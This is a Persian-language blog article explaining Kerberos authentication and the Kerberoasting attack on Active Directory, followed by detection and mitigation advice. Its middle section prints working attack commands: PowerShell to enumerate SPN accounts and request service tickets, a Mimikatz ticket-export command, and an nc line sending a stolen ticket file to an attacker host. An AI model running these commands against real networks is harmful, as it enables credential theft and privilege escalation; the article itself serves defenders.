عملکرد Kerberos چگونه است و حمله Kerberoasting چیست؟

در این مقاله حمله Kerberoasting را بررسی می‌کنیم. Kerberoasting یک حمله رایج است که توسط عوامل مخرب پس از دسترسی به شبکه داخلی سازمان و به خطر افتادن یک حساب دامنه مورد استفاده قرار می گیرد (از پیش نیازهای اجرای این حمله دسترسی به یک کامپیوتر و سشن متصل به دامین و یا یک حساب کاربری معتبر اکتیو دایرکتوری است).

Kerberoasting به مهاجم اجازه می دهد تا با دسترسی به رمزهای عبور حساب­های سرویس در دامنه، امتیازات خود را افزایش دهد (Privilege Escalation). در اینجا قصد داریم پیش زمینه ای در مورد Kerberoasting و نحوه محافظت در برابر آن را ارائه دهیم.

Kerberos یک پروتکل احراز هویت شبکه است که در شبکه‌های مایکروسافت استفاده می‌شود و با استفاده از بلیط‌هایی که هویت منبع را تأیید می‌کنند، کار می‌کند.Kerberoasting ، پروتکل Kerberos را در محیط Microsoft Active Directory و ویژگی‌های طراحی داخلی آن مورد هدف قرار می‌دهد. Kerberos از دو نوع Ticket استفاده می­کند که عبارتند از Ticket-Granting و Service Ticket.Ticket-Granting  برای احراز هویت یک حساب کاربری و یا یک سرویس در Active Directory استفاده می شود. کاربران احراز هویت شده دامنه می توانند برای Service در دامنه اکتیو دایرکتوری درخواست Service Ticket دهند. هنگامی که درخواست اعطای Ticket ارسال می­شود، Domain Controller بررسی نمی‌کند که آیا کاربر درخواست‌کننده Service Ticket، به سرویس مورد نظر دسترسی یا مجوز دارد یا خیر. این بر اساس طراحی است، لذا یک مهاجم می‌تواند درخواست یک Service Ticket دهد و به طور Offline رمز عبور آن را Crack کند. این حمله می­تواند به مهاجم اجازه دهد تا دسترسی بیشتری در دامنه به دست آورده (احتمالا) و به او در حرکت جانبی (Lateral Movement) کمک کند.

حساب­های کاربری آسیب پذیر در برابر حمله Kerberoasting

اولین قدم این است که بدانیم کدام حساب های کاربری آسیب پذیر هستند. نام های کاربری که servicePrincipalName یا همان SPN فعال باشد پتانسیل ایجاد این آسیب پذیری را دارند.

استخراج لیست SPN

حال که نوع حساب­های کاربری آسیب پذیر مشخص شد بایستی بدانیم چطور لیست نام­های کاربری با مشخصه SPN را استخراج کنیم؟ Attacker یا مهاجم درصورتی که امکان اجرای کوئری­های اکتیو دایرکتوری را داشته باشد می­تواند با استفاده از دستورات پاورشل لیست تمام این حساب­های کاربری را استخراج کند. البته لازم به ذکر است می­توان دستورات متنوع پاورشل و یا ابزاهای مختلفی را برای استخراج لیست نام های کاربری استفاده کرد.

get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like “*CN=Users*” -and $_.cn -ne “krbtgt”}

درخواست Ticket برای حساب­های SPN

حال چطور Ticket حساب­های کاربری SPN را استخراج کنیم؟ در این مرحله با استفاده از دستورات پاورشل زیر می­توان از اکتیودایرکتوری Ticket درخواست کرد.

Add-Type -AssemblyName System.IdentityModel 

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/dc-mantvydas.offense.local”

Dump از Ticket حساب­های SPN

پس از درخواست Ticket، مهاجم می­تواند با استفاده از ابزارهای مختلفی (به عنوان مثال Mimikatz) از Ticket موجود در حافظه Export بگیرد.

mimikatz # kerberos::list /export

Crack کردن Ticket Hash

در این مرحله مهاجم می­تواند با ارسال درخواست به ماشین خود (مهاجم)، و استفاده از ابزارهای مختلفی همچون tgscrack.py، Hashcat و یا سایر ابزارها، اقدام به کرک کردن Hash نماید.

nc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbi

شکار تهدید و نحوه شناسایی حمله ( Observation )

اگر یک رویداد امنیتی (Event) ویندوز با شماره 4769 و به دنبال آن Add-event -AssemblyName SystemIdentityModel (از طریق بازرسی پیشرفته Powershell)  را مشاهده کردید، ممکن است دچار حمله Kerberoasting شده باشید. این احتمال زمانی قوت می­گیرد که نوع رمزگذاری Ticket دارای مقدار 0x17 باشد. (به این معنی که با استفاده از RC4 رمزگذاری شده است)


آنالیز ترافیک شبکه

تصویر زیر درخواستی را نشان می‌دهد که به سرویس اعطای بلیت (Ticket Granting Service-TGS) برای سرویس با یک servicePrincipalName با مشخصات HTTP/dc-mantvydas.offense.local ارسال شده است:

تصویر زیر پاسخ TGS به کاربر spotless (از حساب کاربری spotless برای اجرای حمله استفاده شده است) که شامل Ticket رمز شده با استفاده از RC4 را نشان می­دهد که در تلاش است تا به سرویس HTTP/dc-mantvydas.offense.local دسترسی پیدا کند.

محافظت در برابر حمله Kerberoasting

با وجود اینکه هیچ راهی برای متوقف کردن این رفتار Kerberos وجود ندارد و این ناشی از معماری Kerberos است، محافظت در برابر حملات Kerberoasting ساده است. کنترل‌های زیر می‌توانند احتمال حملات موفق را به حداقل برسانند:

  1. یک خط مشی رمز عبور قوی تنظیم کنید که حساب­های Service به گذرواژه هایی با حداقل 25 کاراکتر نیاز دارد. این امر به شدت مهاجم را محدود کرده و عملا موفقیت حمله را به حدأقل می­رساند.
  2. گذرواژه‌های حساب­های Service را بر اساس یک برنامه زمان‌بندی مشخص عوض کنید. این مدت زمانی را که یک مهاجم باید تلاش کند و یک Ticket را Crack کند به شدت محدود می­کند.
  3. برای ثبت درخواست‌های موفقیت‌آمیز بلیط Kerberos Ticket-Granting Service، به ویژه درخواست‌هایی که با رمزگذاری ضعیف RC4 یا DES درخواست می‌شوند، ثبت حسابرسی (Event Auditing) را در دامنه فعال کنید، و SIEM یا هر ابزار مدیریت گزارش را برای هشدارهای این رویدادها پیکربندی کنید.
  4. فعال سازی رمز نگاری AES (یا هر الگوریتم رمزنگاری قدرتمند) برای Kerberos تا آنجایی که ممکن است.
  5. استفاده از راهکارهای PAM یا مدیریت دسترسی ممتاز برای نظارت و مدیریت حساب­های کاربری Service


کلمات کلیدی

تیم قرمز

تست نفوذ شبکه

حمله Kerberoasting

حملات Kerberos

شکار تهدید اکتیو دایرکتوری

منابع

https://www.sikich.com/insight/protecting-your-network-from-kerberoasting-attacks

https://attack.mitre.org/techniques/T1558/003/

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting

بدون دیدگاه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *